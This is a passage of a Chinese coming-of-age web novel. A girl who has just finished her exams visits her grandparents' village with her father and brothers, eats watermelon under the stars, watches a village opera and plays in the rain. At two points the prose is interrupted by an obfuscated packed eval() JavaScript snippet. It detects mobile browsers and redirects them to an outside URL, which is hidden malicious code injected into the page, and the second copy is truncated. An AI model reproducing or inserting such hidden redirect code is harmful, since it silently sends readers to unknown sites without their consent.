那位女老师回来了,直径走向江随意,递给她一小块巧克力。 “现在还很不舒服吗,能够坚持吗?你先吃一块,别紧张,放松就好。” 江随意接过女老师手中的巧克力,当着她的面撕开包装。 “谢谢老师。” 唔,太甜了,腻得牙疼。 “要是还不舒服记得马上打报告。”女老师拿回包装,语气很温柔。 “好。”手心出了汗,紧握的笔却没有停。 后面的作文也来不及打草稿,思索片刻便上手了,她尽量让单词不要连写,毕竟字迹潦草也容易失分。 铃响的那一刻,监考老师宣布停笔,江随意也刚刚好结束了那篇作文。 她坐在那里等老师收卷,便又开始发愣出神。 刚才那甜味似乎还腻在嘴里久久不散。 想来是得去看牙了,这甜得牙疼。 她庆幸把题做了,否则成绩出来,叶女士那边不好交代。但又想着,刚才时间紧几乎没怎么检查,若是真的没考好,那也许这个暑假,叶女士可能会多唠叨她一点? 想到这,她迅速收拾好自己的笔和准考证,迫不及待地想跑出教室。 “李华同学,高中见。” 出了考场,满是叽叽喳喳的讨论声,有些人懊恼,有些人兴奋,全部都涌向考点校门。 江随意背着包站在大门口,看见别人奔向父母,于是也四处望了望,想找一下妈妈的身影。 “算了,叶女士那么忙,早上愿意送我来考场就已经很好了。”她站在门口保安亭,想等人少些再去坐公交。 真讨厌,刚才就不该写那张卷子。 还是不够叛逆。 她是个矛盾体,嘴里这么嘟囔着,却又想起了那句‘中考榜上见’。于是又开始暗自懊恼,就不该抽那个风浪费时间,也许这回顾橖河要把她甩远远去。 江随意看着面前这些人,鼻头莫名有些酸涩。 忽然眼前闪过一个白色的塑料袋,里面装着一盒三色冰淇淋。 “嘿,小朋友,要来盒冰淇淋吗?”江渐明不知何时出现在了江随意的身后。 “老爸!”江随意又惊又喜,她一头扑进对方怀里,语气闷闷的,像是在撒娇。 “爸爸,意意好想你。” “哎呦,我的娒娒,老爸也想你。”江渐明摸了摸江随意的头,然后又举起手中的冰淇淋,“吃不吃,免得等会儿化了。” “吃。”她接过那盒三色冰淇淋,一双眸子满是笑意。 “老爸,你怎么来了?哥哥呢?”木棍一刮,三种口味舀了一大勺,冰得江随意打了个寒颤,待融化在嘴里,甜却进了心。 夏天也不是那么讨厌嘛。 “我家大姑娘中考结束,老爸当然要来接你啦,你哥那边有你程姨。” 江渐明见她吃得急,忙着说:“小口点,嘴里暖暖再咽下去,没人和你抢。” 他知道叶桐的公司最近有个难搞的客户,怕是忙得走不开。 “回去收拾一下,老爸带你们几个去阿爷家玩两天,老人家可念叨你们仨了。” “真的吗?”江随意咬住木棍,欢喜雀跃怎么也藏不住,可没一会儿就 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她爸妈结婚前就各有各的事业,结婚后也从不干涉对方,现在离婚了便各过各的生活,生意上方向不同,平时也没什么业务往来。 “那你是不去了吗?”江渐明叹口气,“唉,听你阿奶说今年田里的西瓜可甜了呢,就等着你们仨去摘,只可惜你吃不到。” “老爸!”江随意拉住他,“你等会儿,我给妈妈打个电话,她要是不同意你得帮我说说话。” “行。”江渐明替她拿着冰淇淋。 江随意给叶桐打电话,难得这一次对方立马就接通了。 “喂,妈妈。” “意意,你考好了是吗?” “嗯,考好了,妈妈,我想跟你说个事。”江随意看向江渐明,对方朝她点头。 “妈妈这边马上就……”叶桐顿住,“什么事?” “就是爸爸来接我了,他打算带我去爷爷家玩几天。”江随意没听到对面的声音,垂着眸子,另一只手抓着包上的带子。 “就玩几天可以吗?我很久没见到爷爷奶奶了。” 叶桐沉默了几秒,才开口道:“你爸去接你了啊?” “嗯。”江随意的目光又落在了江渐明身上。 “那你去吧。” 叶桐继续说:“给你请了老师,玩几天回来还是要以学习为主,暑假的时间得好好利用起来。” “谢谢妈妈!” 见江渐明伸出手,江随意轻轻地跟他击了个掌。 “那我这边还有事,先不跟你说了。” “好,叶女士再见,要多多注意身体哦。” 挂了电话,江随意又给了江渐明一个拥抱。 “老爸,叶女士她同意了。” “那走吧,爸爸带你去玩。” 江渐明揉揉江随意的脸,接过她的书包。 江随意蹦蹦跳跳往前去,看得江渐明赶忙拉住她,然后牵着她的手等红绿灯过马路。 “姑娘啊,你可长点心吧。” 叶桐挂了电话,一手搭在车门上,在原地站了好一会儿才将车门关上。 钥匙一按,车灯一闪,重新锁上。 刘秘书正将文件放到办公桌上,转头便看见叶桐又回来了。 “叶总,是忘带什么了吗?” 叶桐摇摇头坐下,翻开文件开始处理起来。 “对了小刘,把会议重新提上来吧。” 刘秘书有些奇怪,但也没有多问。 “好的,我现在就下去准备。” 5. 西瓜与星 阿爷家在江河县的一个偏远小镇的村子里,一半接着南江,一半接着北江,但若想在日落前到达还需跨江河大桥走北江的道过。 车子刚行上江河大桥,困意便席卷而来。 江渐明从后视镜里瞧见后座的女儿打了个哈欠,一副懵懵的神情,他不禁笑道:“从前我牵着你走,前脚刚踏上桥,你便怔住不动,站着也能昏昏欲睡,爸爸只好抱着你走过这座桥。如果是在车上,你便是倒头就睡。” 江渐明讲着,江随意的眼皮子便已撑不住。 “神奇的是,一旦桥走完,你也就醒了。” 这座大桥说长不长,开车而过也就十分钟的样子,简单步行也要四十来分钟。可若是在人行边上看看大江,慢慢悠悠的,那一两个小时也不一定能走完。 这段路程很快就过去了,江随意像是感知到了,脑袋一点,半睡半醒间睁开了眼。 “啊,醒来还真准时。” 就连她自己也觉得不可思议。 哪怕是坐公交车,这段路她也必睡不可。这桥啊,天生催眠…… 江渐明:“你还记不记得小学有一回,你妈出差,把你送到爸爸这边,结果你认床怎么也睡不着。” 江随意往前一凑,笑嘻嘻道:“然后你大半夜抱着我到大桥上吹风,然后我舒舒服服睡了一夜。” “可不嘛,你睡得倒是安稳,老爸吹了一夜的风。” 江随意又靠了回去,细细回想起小时候的事,跟父亲在一起的记忆,是她童年为数不多的快乐。 更多时候,她总是泡在各种各样的补习班或者兴趣班里,对她来说课是学不完的,题也一样做不完。除此之外,还学了很多别的东西,可她并没有什么天赋,只是不想让对方失望罢了。 叶女士对她的要求很高,虽说达不到专业水平,却也不能只是学个皮毛。 按她的话来讲,往后的路与生意场没多大区别,会遇见许多形形色色的人,你最好什么都会,能自己解决就不用求人,毕竟人情这东西是还不完的。 如此才能在这场暗涌中不动声色地站稳跟脚,然后一举拿下。 尤其在学业这一块,叶女士看得非常重,将来要走哪条路她早就安排好了。 因而江随意走不了弯路的。 江随意看着马路边快速略过的灌木丛,像是随口一问:“爸爸,你觉得我将来会成为一个什么样的人?” “意意,这不应该问你自己吗?” “我不知道。” 江渐明将车子停在了不影响道路行驶的地方。他回过头,向江随意招招手,她便靠了过来。 江随意能感受到父亲宽大的手掌轻轻拍在自己的头上,很温柔,就像从前哄自己睡觉那样。 “你将来想成为什么样的人,会成为什么样的人,都行,都好。” “爸爸只希望意意可以一直健康快乐。” 江随意抬头看父亲,想起这段时间做的事情,忽然有些委屈起来。 “爸爸,如果有一天,你发现我不听话了,你会不会怪我学坏了?” “小孩子哪天学坏了,需要反思和引导的是父母,而不是责怪孩子,谁还没有个叛逆期。” “更何况没有人会一直听话,孩子会长大,也会有自己的想法,你可以和父母商量,但选择权依旧在你自己手上。” 江随意认真地思考着江渐明的话,然后对着他扬起笑。 “江总,你是全世界最好的爸爸。” “意意也是全世界最好的小姑娘。” 路上耽误了点时间,到小镇的时候,天边已是橘色,余晖映照在小河上,路上皆是归家的人。 江随意推着行李箱,江渐明手上则是提着大大小小的东西。 程遇带着另外两个早就到了,正和江奶奶在厨房里准备晚饭。 阿爷家的小院围着一圈栅栏,里面种了许多的花花草草,院子左边种了一棵桂花树,一旁还搭了个秋千。院子右边用紫藤萝架了个凉棚,上一季的花期已过,待夏末初秋时便又是一片紫色瀑布。 到时候周边的桂花也开了,村里许多小孩子都会跟着老一辈的去打桂花。 即便如此,江随意依旧最讨厌夏天,热就算了,还免不了蚊虫。 江随意大老远就听见了阿爷老旧收音机里播放的唱词【1】。檀板轻扣,牛筋琴弦震颤—— “只因为祝家村年年迎神会, 村人叫我扮观音, 父母叫我穿耳窟, 留下一直到如今, 梁兄啊,你做文章管自做, 多管闲事啥原因, 你再着多言并多语, 我马上就去报先生。” 扁鼓轻点如露滴阶,吴语的温软细细道来。 “月缺月圆圆又缺, 日升日落落又升, 落花重开开又谢, 无情岁月如流星, 转眼光阴已三载。” 老人家正躺在树下,蒲扇轻轻地摆着,摇椅也跟着晃了晃。 收音机‘滋啦’一声停住,磁带转动,便听鼓点忽得急促,牛津琴弦骤响如万蝶振翅。 “梁兄啊——”三字生生拗断,裂成瓯窑碎瓷的冷光,听得人心寒。 而另一边,江随和与江随星接上水管,给花草浇水的同时也给院子里降温。 水龙头开得太大,水有些猛,江随星一下没拿稳全冲到自己身上了。 “哥,哥,哥,快关一下。” 水管落在地上像条水蛇般扭动,四处冲水,江随星想抓也抓不住。 老爷子睁了一只眼,笑着又闭上,手落在收音机上敲了敲。 “又得修修了。” 江随和将水关上了,江随星才松了一口气,可看着自己这一身,待会儿又免不了骂。 “江星星小朋友,你这是什么新的迎接方式吗?” 江随星听见这声,欣喜地回头,就瞧见江随意站在栅栏外。 “阿姐!” 他忙着朝她跑去,衣服还差点勾在院门的栅栏上。 在江随意眼里,面前跑来的就是一直湿哒哒的狗崽子,要是有尾巴,可不得翘上天去。 “诶——”江渐明拦在前面,“臭小子,看不见你爸是吧?湿成这样还不去换件衣服。” 江随星‘哼’一声,对着江随意道:“阿姐,我可想你了。” 江随意拍拍弟弟的脑袋:“快去擦擦。” 江爷爷听见声就起来了。 “意意啊,你可来了哟,饿不饿呀?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635279|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老一辈说的都是江河县的方言,江随意回的也是方言,只是并不太标准。 “阿爷今日怎么听的这首词?” 江爷爷笑呵呵地按下了暂停键:“前夜里电视上放着戏我却没听,方才耳朵痒了,它又不放了,只能听词了。不过年头久了,收音机也有点坏了,刚刚还跳段了。” “前几天祠堂门口搭台了,村里请了班做戏人,明儿不知道有没有唱这幕。” 江随意捣鼓着爷爷的收音机,想着待会儿送前边阿公家瞧瞧能不能修。 “意意来了,怎么都站那里。”程遇正把菜端出来放在院中的石桌上。 江奶奶刚从屋子里出来,笑得合不拢嘴。 “意意,诶呦,真的是意意,我们意意高了。” “阿奶。” 江随意又是跑着的。 “慢点儿。”江奶奶跨过门槛,“别跑别跑,等下摔着。” 江随意过来扶住奶奶,老人家手搭在她的手上,轻轻拍了拍,连说三个‘好’。 “饿不饿呀?烧了好多你爱吃的。你阿爷今日一大早就去田里摘了大西瓜,你们仨都有。” “我可听说了,今年的西瓜超级甜呢。” “是可甜了,就等你了。”程遇摆好菜,“赶紧呢都坐下呀,里面还有几盘菜我去端出来。” 江随意:“程姨,我跟你去端。” “忙活啥呀,这才刚考完,坐着休息等饭吃。”程遇一笑,转头对江渐明喊了一句,“站那干嘛呢,还不进来端菜。” “来了来了。”江渐明过来,小声一句:“孩子们面前,给我点面子嘛。” 程遇白他一眼。 “就你事儿多。” 然后又瞧见躲在江随和身后的江随星,皱眉道:“江随星,马上吃饭了,还不去换件衣服,等会儿感冒了可别叫我妈。” “你们父子俩没一个让我省心的。” 江随星气鼓鼓的,但又不敢大声反驳:“哥,我果然是你和阿姐在路边捡来的对吗?” “不啊,你是我俩去小卖部买回来的,可贵了呢。”江随和想摸摸小朋友的脑袋,但看着他一头湿漉漉的,抬起的手又放下了。 “六块钱呢,意意那天都没舍得吃烧饼。” 江随星一愣,咋的,他又记错了? 阿奶做的糖醋排骨很好吃,酱拌着饭,江随意连着吃了两大碗。 阿爷拿出已经生锈的铁盒子,里面装着的是新刻的木雕,江随星的木头大军就这么摆了一地。 江渐明在洗碗,程遇拿来凉席铺在地上,又给他们一人切了半个西瓜。 在阿爷家的日子是最自在舒坦的,尤其到了晚上,满天都是星星,那是在高楼大厦林立间不曾见过的景象。 但星河再璀璨,依旧不如怀里半个大西瓜。 程遇怕他们着凉,又拿来一层垫子盖在凉席上。三个小孩往上一坐,一勺一勺落在西瓜上。校服上沾了点浅浅的西瓜汁,唱词断断续续从收音机里传出。 老爷子正用蒲扇给奶奶扇风,屋里的程遇嫌弃江渐明碗没洗干净,以及后者被骂了还在一边乐呵笑着。 晚风带着即将散去的热意吹过,即便嗡嗡叫的蚊子还是那般烦人,但江随意觉得夏天好像也没有那么讨厌了。 6. 蝉鸣不绝 西瓜很快就吃完了,天上的星星却还在闪烁。 两个老人家早就已经回房歇着了,外面只剩下他们三个。江随星玩了一天,耐不住困意趴在姐姐的腿上睡了过去。 江随意戳了戳弟弟肉乎乎的脸,借着屋里的光,看见小朋友脸上红肿的蚊子包,没忍住掐了个十字封印。 许是有些痒,他挠了两下,又继续睡着。 “星星这是个什么体质,净招蚊子。”逗归逗,江随意还是伸手挥了几下想将蚊子赶走,可没一会儿那些招人厌的东西又飞了回来。 “哥,去拿电蚊拍,我要大开杀戒了。” 拍死第三只咬在弟弟胳膊上的蚊子后,江随意终于忍不住了。 江随和正在打扫院子里扔起来的干果瓜皮,轻笑着,然后转头回她:“那你得杀到什么时候,叫星星起来吧,免得待会儿着凉了。” “这小猪崽睡得到挺熟。”她轻轻捏着江随星的脸,“江星星,快起来,我们回屋里睡。” 刚才迷迷糊糊被叫起来洗漱的弟弟,现在又躺倒床上去了,大概是真的玩累了。 小孩子怕热,即便房间内开着空调,却依旧睡得满头大汗,只盖到肚子的薄被也被他一脚蹬掉。江随意正洗完澡出来,眼瞧着那被子从床上滑溜到地板上。 “小猪就是小猪。” 她顺手捡起被子,又抽了张纸巾替江随星擦汗,嘀咕一句:“怎么每天都热腾腾。” “你是不知道他放学后都是在外面野够了才回家,别说一身汗了,背上还热得冒白烟。”江随和抱着一卷竹席站在门口,“下午程姨拿出来晒过了,刚刚我又擦了一遍,现在要去你那边铺起来吗?” 小的时候他们来这边都住一屋,后面大了些,就将旁边的房间收拾出来单给江随意住。 “先放着吧,等下我自己抱过去。”江随意往后一倒,躺在了弟弟身边。 “都行。” 江随和将竹席靠在门边,走到书桌边坐下。手机屏幕时不时闪烁,微信群聊里已经积攒了好一些消息,但他没急着回复,只是看了一眼又熄了屏。 乡下大多这样,傍晚时倒还有不少人闲聊玩闹,但夜里大家却歇息的早。外面已经没有了人声,原先的灯火通明也成了漆黑一片,天上的月色显得越发清丽,底下唯有一片蝉鸣。 江随意望着天花板出神,那有几点暗淡的颜色——是幼时画笔爆墨甩上去的。她有些犯困,瞧着那两点竟觉得像两只正在对抗的愤怒的小鸟,直到弟弟一翻身,将脚翘在了她腿上。 “江随和......”在江随星第三次把脚翘上来时,她终于开口求助。 江随和瞥了一眼,并未起身。 “踹下去就好。” “!” 江随意将弟弟的脚扒拉开,迅速坐了起来,控诉他:“看吧,小时候明明就是你一脚把我踹下床的,还说我睡觉不老实翻下去的。” 江随和点在屏幕的指尖一顿,而后继续回复消息,头也不曾抬一下。“你那八爪鱼的睡姿比星星还过分,还好意思说自己睡觉老实。” “江随和!”江随意顶着已经散乱的丸子头跳下床,两步跑到他跟前,正准备张牙舞爪闹一番。就见江随和起身,一手抵在了妹妹脑门上,任她怎么挥拳头都够不着。 江随意只好停下,握住那只抵在她头上的手,张口咬下时,又被对方反手掐住了脸。 江随和放下手机,揉了揉她额上的红印,但掐脸的那只手却没有松开。“你就是不说话不动弹,我也知道你心里想什么,别张嘴就咬,星星是小猪的话,那你就是小狗。” 江随意瞪着他,嘴里嘟囔着:“我是小狗,那你就是大狗。” 江随和没忍住弯了眼眸,松开手,轻轻唤了一声:“意意。” 他们在妈妈肚子里一起待了九个月,出生后也从未有一刻和对方分开过。后来爸妈离婚,虽然时不时会见面,但江随意却比从前更黏哥哥。 没见着也不会怎么样,但只要在一块了,就需时时刻刻在一块,否则就要眼泪汪汪像只可怜的小狗。那时候他上个厕所,还得在门外放个小板凳给江随意,这种情况到他们上了三年级后才开始转变。 他捏下对方的脸,又把她按在椅子上坐下,拆掉那乱糟糟的丸子头。 “最近和妈妈是不是闹矛盾了?”一边问,一边从桌上拿梳子给她梳顺头发。捏着一绺打结的发,轻轻地梳开,然后扎了一个粗粗的麻花辫。 江随意低着脑袋不说话。 江随和绕到她跟前蹲下,也不说话,就静静看着。时间过得很快,从前那总爱黏着自己的小团子眨眼间就长大了。 但他拗不过,只好开口:“再不说话,就回去睡觉。” 江随意抓了一下头,刚扎好的辫子被抽出一缕发,声音闷闷的:“没有......” “就是我放弃了提前招,然后今天考试也没有好好考,我怕成绩出来后妈妈会生气。” 江随和一愣,说:“妈妈不会和你生气的。” “哥,我好矛盾。”江随意忽然扑进他怀里,带着点鼻音,小声道:“我也不知道我要干嘛,最近总是不听话要和妈妈反着来,我也不喜欢这样的自己,可是我......” “可是你也开始有自己的想法了,只是还没想清楚而已。”江随和抱着她,轻轻拍着背。 江随意从小就很乖,不爱哭闹,也从不和其他小朋友争抢什么,每天最爱做的事情就是跟在哥哥屁股后面。直至父母离婚,他俩一个跟着妈妈,一个随了爸爸。 其实一开始,江渐明是想要两个孩子的。他觉得叶桐的心都扑在工作上,没办法照顾好孩子。加上叶桐有自己的梦想,只不过是被家庭耽误了几年,现在也不该再让孩子牵制着她。 只是后来江随意自己选择跟妈妈,即便是和哥哥分开。毕竟是女孩子,江渐明自己带儿子没什么,只是姑娘以后大了也多有不便,于是没再坚持。 江随和却知道,妹妹是担心妈妈往后只有一个人,所以才坚持不和爸爸走。可那时妈妈事业重新回到正 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【我不是路飞:可恶.jpg】 【火华:+1】 【我不是路飞:他晒了一天的娃就算了,胜在豆豆可爱,但是他什么鸡毛蒜皮的事都要发吗?捡了块方形的石头是什么值得骄傲的事情吗?】 【火华:他甚至丧心病狂到□□空间发了一遍,还要在朋友圈同步。】 【糖豆:一群没有生活的死宅。[微笑]】 【我不是路飞:你又改名了?】 【糖豆:少管】 江随和刷着空间,并将每一条都点了赞。为了等下不被炮轰,又回到朋友圈再次一一点赞。 “他倒是能和星星不相上下,一天八百条。” 江随意凑过来,“哥,你也是闲的。” “不过你同学确实能发,他平时在学校话也很多吗......呀,这小朋友好可爱。” 江随和想了想,倒不是话多,按顾橖河的意思来讲,作为根正苗红的祖国接班人必须要积极热爱美好生活。 就稍微...脑子有点抽抽。 江随意刷了几个小朋友的视频,里面忽然出现了一道声音,听着有些耳熟,这才注意到上面的备注——阿橖。 “阿橖?是...” “嗯,是顾橖河。” “怎么没听你提起过?”她知道他们是同个学校的,但现下看起来似乎还是同班,关系也还不错。 “你又没问。” “那上回你说看比赛,原来是看他去了。”江随意哼了一声。 江随和起身,拍拍她的脑袋。 “我们意意才是最棒的。” “那当然。” “行了,很晚了快去睡吧。” 窗外的蝉鸣声也渐渐弱了下去,只剩下偶尔传来的几声蛙叫,伴着清冷的月色,给这个夏夜增添了几分宁静。 7. 不见观音 夏日天亮的早,后山成片的林子都笼着雾,太阳还没出来,空气里渗着湿漉漉的寒气。 江随意早上有跑步的习惯,阿爷起来晨练时,她也跟着学了几下,之后拿着老收音机跑去村口陈阿公家。水泥路是去年刚铺的,露水未干的地面上零星印着几串黄泥脚印。阿公家那只棕黄的小狗趴在门前,有一搭没一搭地摇着尾巴。 “阿公?” 那栅栏门正打开着,院子里堆满了各种铁器废品。小狗见来了人,起身冲江随意喊了两声,然后又围着她打转。 “冬瓜。”她蹲下身子,将小狗抱起来掂了掂,“几个月不见,你倒是胖了不少呀,阿公在家吗?” 冬瓜‘汪’了一声,里屋传来铁皮桶翻倒的哐当声,陈阿公掀开蓝布帘子探出头来,老人套着黑灰色的工装裤,左腿膝盖处打着块方正的补丁。 “谁啊?” 陈阿公眯着眼看了半晌,忽然一笑:“哟,这不是意意吗?什么时候来的?” “昨天下午。”冬瓜突然从怀里窜了下去,在一堆啤酒罐子里打滚,接着用脑袋一顶,罐子骨碌碌滚到江随意脚边。 “吃过了吗?” 陈阿公收拾着地上的杂乱,腾出一张靠背竹椅。 “坐一会儿,有段时间没见你了,阿和跟星星也来了吗?” “还没呢,刚和阿爷练了几下就出来跑步了。他俩也在家,这会儿估计还没起来呢。” “刚刚磨了豆浆,给你煮一碗去。”说着,陈阿公就要往里走。 “不麻烦了,程姨也在忙活呢。”江随意拿出磁带收音机,“阿爷这个收音机总是跳段,放不全,麻烦您给瞧瞧还能不能修好。” 他接过收音机,拇指在掉漆的调频旋钮上搓了搓,然后手又在门边的抹布上擦了擦,从胸前的口袋里摸出一副老花镜,镜腿用麻绳缠了好几圈。 “能修。” 陈阿公拆开收音机后盖,混着铁锈味的晨风掠过他花白的鬓角。 “之前就坏过几次,想给阿爷换个新的,但他不肯。” 江随意蹲在门槛石上,看冬瓜追自己的尾巴转圈,她想起小学放暑假时总爱蹲在这里看阿公修理各种东西,那时膝盖处的补丁还是靛蓝色,现在褪成了月白。 “这些老古董都一样,修修还能用,用不着换新的。” 收音机的天线被拉长,随着旋钮的转动,一阵沙沙声后,传来断断续续的戏曲声,沙哑的唱腔混着电流声在晨雾里震颤。而后他又从屋里拿出一打磁带,挑了一个放进去。磁头缓缓转动起来,一段清越的梆子声淌出院墙。 冬瓜忽然支棱起耳朵,冲着门外狂吠,惊飞了竹架上打盹的鸟。 “莫吵莫吵。” 陈阿公的手指跟着节拍在膝盖上轻轻叩打,戏文里的春秋也随着他的哼唱而展开。过罢,他按下了暂停键,“行了,修好了,还能用好长一段时间呢。” “谢谢阿公。”江随意拿过收音机在那仔细地瞧着,忽然想起昨儿阿奶和她说的话,问道:“听说上个月阿连叔回来了要接您去市里,怎么没答应呢?” “哎哟,那哪成啊。屋子再破,补补也能住,可人走了就真要塌了。眼瞧这日子是不同咯,阿连说城里楼房装电梯,可我这腿脚啊——"太阳正升起,恰好照在檐下,他拍拍膝盖处的补丁,“走惯了黄泥路,反倒要被铁盒子晃得头晕。” 村口传来拖拉机突突的轰鸣,冬瓜的尾巴扫过门槛石上凝结的露珠,在朝阳下甩出一串碎金。 儿时的记忆忽然就变得模糊起来。 等江随意拿着收音机回去时,江随星在院中写作业,嘴里还念念有词。 “写不完的作业,背不下的古诗,唠叨的老妈还有苦命的江星星。” 卷起的裤管露出被蚊子叮咬的红包,笔尖在草稿纸上戳出几个墨点,抬头看见了姐姐,于是丧着的包子脸忽然间神采飞扬,“阿姐,阿姐,你知道青蛙是胎生还是卵生吗?” “蝌蚪难道是从蛋里孵出来的吗?” “可我没见过蝌蚪。”江随星眼巴巴望着她。 江随意走向他,伸手在他鸡窝一样的头发上肆意揉了几番,道:“一撅屁股就知道你要拉什么屎,赶紧写,写完了下午带你去田里捉蝌蚪。” “好耶,阿姐最好了!”他一把抱住江随意。 姐弟俩在田里玩了一下午,又是挖藕又是捉蝌蚪。江渐明和程遇已经回北江了,这期间江随和倒是来了几回,只要人没陷进去拔不出来,也就随他们野去了。 待傍晚的风将整个黄昏炖成浓稠的糖浆,江随意才拉着弟弟回去换身衣裳。家里已经没人了,屋檐下垂落的蛛网上面还粘着半片蜻蜓翅膀。 “江星星,你磨蹭什么呢——” 天色越发暗淡,蝉鸣声响,仿佛在撕扯着溽热的夏夜,空气中弥漫着一种难以言喻的燥热感。祠堂内部的空间显得格外狭小,根本无法容纳太多的人,于是只能在祠堂的外面临时搭建一个戏台子。 台上灯火通明,台下的观众们或站或坐,有的摇扇,有的闲聊,孩子们在人群中穿梭嬉戏,偶尔发出阵阵欢笑声,给这沉闷的夏夜增添了几分生气。 她和弟弟来得晚了些,戏台下的长板凳已没了空座,就连周边也都围满了人。 江随意踮脚踩在后边的石阶上努力寻找江随和的身影,细密的汗珠顺着脖颈滑进领口。后腰突然被江随星撞了个趔趄,她一回头,就见小孩儿抱着半块西瓜,汁水正顺着衣领往下淌。 “江随星,等会再吃!”江随意一把拽住弟弟,沾着西瓜瓤的手指却摸到个硬物。她低头,弟弟的手腕上套着几个荧光棒绕起的圈环,而衣服口袋里鼓鼓囊囊地塞着弹弓和玻璃珠,在荧光棒下泛着幽蓝的光。 台上突然炸开一声锣响,戏台两侧垂着褪色的红绸随风摇动,几个画着油彩的戏子正在幕布后探头探脑。 她瞧见了坐在最前方跟阿爷阿奶聊天的江随和,于是趁机拽着弟弟往里挤。 “来了来了,总算赶上了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他静静看了好一会儿,只听得台上的人说:“......你前程不想想钗裙。” “我从此......” 江随意正聊得起劲,忽然身后穿梭过几个小孩被撞了一下,于是侧身往后一转—— 顾橖河迅速别开脸。 邻座大娘用蒲扇拍打蚊虫的声响忽远忽近,表演的人开始一个接一个上台谢幕,可那些描金绘彩的脸全在视线里融化成斑斓的色块。燥热的空气里,台上锣鼓声停,他却只记得那句“我从此不敢看观音”的唱词,心跳声被掩盖在雷动般的掌声之下。 直至结束,顾橖河都心不在焉。豆豆在怀里打了个喷嚏,他才回过神,摸出纸巾给孩子擤鼻涕。再抬头时,那身影已经淹没在攒动的人头间。 散场时人群推搡着往外涌。 两个老人家年纪大早就生了困意,先他们一步回去。江随意被哥哥拽着逆流而行,差点踩到满地瓜子壳。弟弟举着不知从哪捡来的树枝当宝剑,嘴里"锵锵"地配着武打音效。 月光将他们的影子拉得很长,斜斜映在他们回家的路上。 8. 新的一天 阴沉如墨的天空骤然被闪电撕裂,一道闷雷惊响。眼瞅着要下大雨,还在嬉闹的三人快步朝家跑去。几滴雨珠啪嗒一下打落在地上,随即而来的雨水又急又烈。 江随星一脚踩进水坑里,溅起一滩,他又跺了几脚,停在原地大喊:“哥,阿姐,要来一场紧张又刺激的踩水坑小游戏嘛?” 雨水从头冲刷,江随意看着浑身湿哒哒却要在水坑里蹦跶的弟弟顿时想拉过来痛揍一顿。 “你属乔治的吗,江随星!” 小孩格外兴奋:“那你要一起吗,佩奇姐姐!” “哥,我可以揍小孩吗?” 江随意抹了把糊在睫毛上的雨水,象征性问了一句,然后就上前抓住江随星的后衣领,他像只被提溜住后颈的猫崽般扭动起来。 江随和并未阻拦,家里小孩皮实得很,最近确实欠收拾了。 江随星最后是被哥哥姐姐押回家的。 “我生气了,我真的生气了!”被子中间鼓起来一块地方,里面时不时传来几句委屈的声音。那时收拾干净后的江随星,眼泪汪汪的把自己蒙在被窝里,任由谁喊都不肯出来。 “要是平时那种小雨就算了,你爱怎么踩都行。”江随和用力一掀却没扯动,底下的小朋友死死拽着不肯撒手,他浅叹一口气,又道:“星星,听话,那么大的雨淋生病了你又要好长一段时间难受。” 被窝里竖起的耳朵动了动,却依旧不肯撒开手,过了好一会儿,见外面没声了,他才悄悄探出一个脑袋来,只见江随意抱胸站在床边。 她冷着一张脸,没有什么表情,看得江随星屁股隐隐作痛。 他姐下手是真的狠。 这样想着,又迅速缩回头想把被子盖上,不料江随意快他一步将整个被子掀了下去。这回不止屁股痛了,连后背都感到凉嗖嗖的。 江随星更委屈了,眼泪哗一下就涌了出来。他瘪着嘴,小声抽泣着。 上一秒还一脸凶样的江随意顿时手忙脚乱去给他擦眼泪,接着又从口袋里掏出糖来。 “哭什么,又没骂你。” 抽泣声戛然而止,江随星挂着鼻涕泡偷瞄姐姐,带着哭腔控诉:“可你揍我了。”说罢,又很自觉地拿走那颗糖果,剥开糖衣扔进嘴里,“但我原谅你了。” 又是一道白光闪过,天上炸开闷雷,豆大的雨点砸在窗玻璃上。 “又不是没踩过水坑,非要这么大雨玩什么!”她低头又从口袋里拿出几颗糖,声音陡然低下去,“都没打两下能有多痛......” “那不一样。”江随星立马爬起来下床,“你们又没有和我一起踩过,可是你和哥却有!” “什么?” 小朋友的个子不高,仰着头,眼里又开始蓄泪。 “老爸说你小时候老爱玩水,哥哥就陪着你一块玩,你俩还一起在泥巴地里滚呢,我都没有......” 江随意伸手掐了下弟弟的脸。 “就因为这个?”她笑着,“你只要开口,我们也可以陪你玩,但不是今天这么大的雨。等明天雨小了,再出去踩好不好?” 江随星轻轻哼了一声,抽着鼻子把脸埋进姐姐肩窝,潮湿的睫毛扫过颈侧,江随意低声笑着,然后又摸了摸他顶上一撮翘起来的头发。 “阿姐,不许笑,说好等雨小了。” “还有你和哥掉是怎么掉进泥坑里的,老爸每次讲一半就不说了......” “笑不笑都放一边,先出来喝汤。”门外传来瓷碗碰撞的轻响,江随和端着姜汤斜倚在门框上。 窗外的雨声渐渐的变得粘稠绵密,那些听烂了的故事突然长出了新的枝桠。 下了一夜的雨终于歇了。 晨光透过湿漉漉的玻璃漫进来,江随星顶着头乱翘的短发扑到窗边。院子里的树坠着水珠摇晃,被雨水冲刷过的石板泛着粼粼微光。 江随星今日起了个大早,爬在窗台上望着外边,兴奋大喊:“没什么雨了诶,但是那里积了好大一滩水哇,我要去帮阿爷扫一扫。” 他像只撒欢的幼犬般冲进院子,故意重重跺脚,水花溅起来,惊得树上的麻雀扑棱棱飞起。 “星星,”江随意喊了一声,突然发力把人按进浅水洼,溅起的水珠淋身了裤脚,“当年江随和就是这么把我推进泥坑里的——” 厨房的门被推开,江随和端着一大锅粥走出来放到院中的石桌上,发梢还沾着煮粥的热气,闻言挑眉:“明明是某个小哭包自己摔进去,非拽着我裤腿不让走。” 石桌上的水已经被阿爷擦拭干净了,他正坐在一旁调试自己新修好的收音机。 “滋滋——” 